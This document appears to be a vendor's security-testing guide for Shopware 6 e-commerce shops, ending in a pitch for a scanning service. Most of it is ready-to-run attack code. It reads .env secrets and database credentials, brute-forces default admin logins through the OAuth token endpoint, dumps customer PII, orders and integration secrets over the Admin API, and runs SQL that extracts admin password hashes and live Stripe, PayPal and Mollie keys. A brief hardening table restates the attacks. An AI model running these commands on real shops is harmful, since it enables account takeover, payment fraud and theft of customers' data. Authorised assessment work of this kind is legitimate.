Shopware Security Testing: Default Credentials, API Key, Database, and E-commerce

Shopware is Europe's most widely deployed open-source e-commerce platform powering hundreds of thousands of online shops. Key assessment areas: the .env file exposes APP_SECRET (used for JWT signing and session management) and DATABASE_URL (full MySQL connection string); admin credentials default to admin/shopware or admin/admin; the Admin API uses OAuth2 with client credentials stored in the database; and payment plugin configuration contains live Stripe secret keys and PayPal client secrets. This guide covers systematic Shopware 6 security assessment.

Table of Contents

  1. .env APP_SECRET and DATABASE_URL Extraction
  2. Admin API OAuth2 Credential Assessment
  3. MySQL E-commerce Data and Payment Credential Extraction
  4. Shopware Security Hardening

.env APP_SECRET and DATABASE_URL Extraction

# Shopware 6 — .env APP_SECRET and DATABASE_URL extraction
SW_URL="https://shop.example.com"

# .env — Shopware main configuration (CRITICAL)
cat /var/www/shopware/.env 2>/dev/null
# APP_SECRET=...              <-- used to sign JWT tokens and session cookies
# DATABASE_URL=mysql://user:password@localhost/shopware  <-- full MySQL DSN
# SHOPWARE_ES_HOSTS=...       <-- Elasticsearch connection
# SHOPWARE_ES_INDEXING_ENABLED=...

python3 -c "
content = open('/var/www/shopware/.env').read()
for line in content.splitlines():
    line = line.strip()
    if line and not line.startswith('#') and '=' in line:
        key, val = line.split('=', 1)
        if any(k in key.upper() for k in ['SECRET', 'PASSWORD', 'DATABASE', 'KEY', 'TOKEN']):
            print(f'{key}: {val[:80]}')
" 2>/dev/null

# Parse MySQL credentials from DATABASE_URL
python3 -c "
from urllib.parse import urlparse
content = open('/var/www/shopware/.env').read()
for line in content.splitlines():
    if line.startswith('DATABASE_URL='):
        url = urlparse(line.split('=',1)[1])
        print(f'DB Host: {url.hostname}')
        print(f'DB Name: {url.path.lstrip(\"/\")}')
        print(f'DB User: {url.username}')
        print(f'DB Pass: {url.password}')
" 2>/dev/null

# .env.local — may override production secrets
cat /var/www/shopware/.env.local 2>/dev/null

# Test default admin credentials at /admin/
for CRED in "admin:shopware" "admin:admin" "admin@example.com:shopware"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s -X POST "${SW_URL}/api/oauth/token" \
    -H "Content-Type: application/json" \
    -d "{\"client_id\":\"administration\",\"grant_type\":\"password\",\"username\":\"${USER}\",\"password\":\"${PASS}\"}" \
    2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token','')[:20])" 2>/dev/null)
  [ -n "$TOKEN" ] && echo "SUCCESS: ${USER}/${PASS} — token: ${TOKEN}..." || echo "FAILED: ${USER}/${PASS}"
done

Admin API OAuth2 Credential Assessment

# Shopware Admin API — OAuth2 credential assessment
SW_URL="https://shop.example.com"

# Get OAuth2 admin token with extracted credentials
ADMIN_TOKEN=$(curl -s -X POST "${SW_URL}/api/oauth/token" \
  -H "Content-Type: application/json" \
  -d '{"client_id":"administration","grant_type":"password","username":"admin","password":"shopware"}' \
  2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('access_token',''))" 2>/dev/null)

echo "Admin token: ${ADMIN_TOKEN:0:30}..."

# Enumerate all customers (PII + order history)
curl -s "${SW_URL}/api/customer" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total customers: {d.get(\"total\")}')
for c in d.get('data',[])[:5]:
    attr = c.get('attributes',{})
    print(f'  {attr.get(\"firstName\")} {attr.get(\"lastName\")} - {attr.get(\"email\")}')
" 2>/dev/null

# Enumerate all orders
curl -s "${SW_URL}/api/order" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total orders: {d.get(\"total\")}')
for o in d.get('data',[])[:5]:
    attr = o.get('attributes',{})
    print(f'  Order {attr.get(\"orderNumber\")}: {attr.get(\"amountTotal\")} {attr.get(\"currency\")}')
" 2>/dev/null

# Integration (API client) credentials from Admin API
curl -s "${SW_URL}/api/integration" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for i in d.get('data',[]):
    attr = i.get('attributes',{})
    print(f'  Client: {attr.get(\"label\")}')
    print(f'    accessKey: {attr.get(\"accessKey\")}')
    print(f'    secretAccessKey: {attr.get(\"secretAccessKey\",\"[hidden]\")[:20]}')
" 2>/dev/null

MySQL E-commerce Data and Payment Credential Extraction

# Shopware MySQL database — e-commerce data and payment credential extraction
DB_URL="mysql://shopware:extracted-password@localhost/shopware"
DB_PASS="extracted-password"

mysql -u shopware -p"${DB_PASS}" shopware 2>/dev/null << 'EOF'
-- Admin users with bcrypt password hashes
SELECT u.id, u.username, u.email, u.password, u.admin, u.active
FROM user u
WHERE u.deleted_at IS NULL
ORDER BY u.admin DESC
LIMIT 20;

-- All customers (PII)
SELECT c.id, c.customer_number, c.email, c.first_name, c.last_name,
       c.birthday, c.last_login, c.order_count, c.order_total_amount
FROM customer c
WHERE c.deleted_at IS NULL
ORDER BY c.order_count DESC
LIMIT 20;

-- OAuth2 integration client credentials
SELECT i.label, i.access_key, i.secret_access_key
FROM integration i
WHERE i.deleted_at IS NULL;

-- Plugin payment configuration (may contain Stripe/PayPal keys)
SELECT p.name, p.config_values
FROM plugin p
WHERE p.active = 1
AND p.config_values IS NOT NULL
AND p.config_values != 'null';
-- config_values JSON may contain:
-- stripeApiKey (Stripe secret key: sk_live_...)
-- paypalClientId, paypalClientSecret
-- mollie_api_key (Mollie live key: live_...)

-- System config (global settings including payment keys)
SELECT s.configuration_key, s.configuration_value
FROM system_config s
WHERE s.configuration_key LIKE '%apikey%'
OR s.configuration_key LIKE '%secret%'
OR s.configuration_key LIKE '%password%'
LIMIT 30;
EOF

Shopware Security Hardening

Shopware Security Hardening Checklist:
Security TestMethodRisk
.env APP_SECRET and DATABASE_URL extractionRead /var/www/shopware/.env — APP_SECRET enables JWT token forgery; DATABASE_URL provides full MySQL access to all e-commerce dataCritical
Admin credential brute-force (admin/shopware, admin/admin)POST /api/oauth/token — admin access token; full customer PII, order history, payment plugin configuration, integration key managementCritical
Payment plugin live key extraction (Stripe sk_live_, PayPal client_secret)MySQL SELECT config_values FROM plugin — Stripe/PayPal/Mollie live API keys; charge creation, refund issuance, customer payment data accessCritical
Integration OAuth2 secret_access_key extractionMySQL SELECT secret_access_key FROM integration — API client secrets; full programmatic Admin API access at integration permission levelHigh
Customer PII and order history enumerationGET /api/customer and /api/order with admin token — all customer names, emails, addresses, birthdays, order history, and purchase totalsHigh

Automate Shopware Security Testing

Ironimo tests Shopware deployments for .env APP_SECRET and DATABASE_URL web exposure, admin/shopware and admin/admin credential testing at /api/oauth/token, integration secret_access_key extraction from the integration table, payment plugin live key detection in plugin.config_values and system_config (Stripe sk_live_, PayPal client_secret, Mollie live_ keys), customer PII enumeration via Admin API, order history and revenue data extraction, .env.local and .env.prod configuration file exposure, and Storefront API sales channel access key assessment.

Start free scan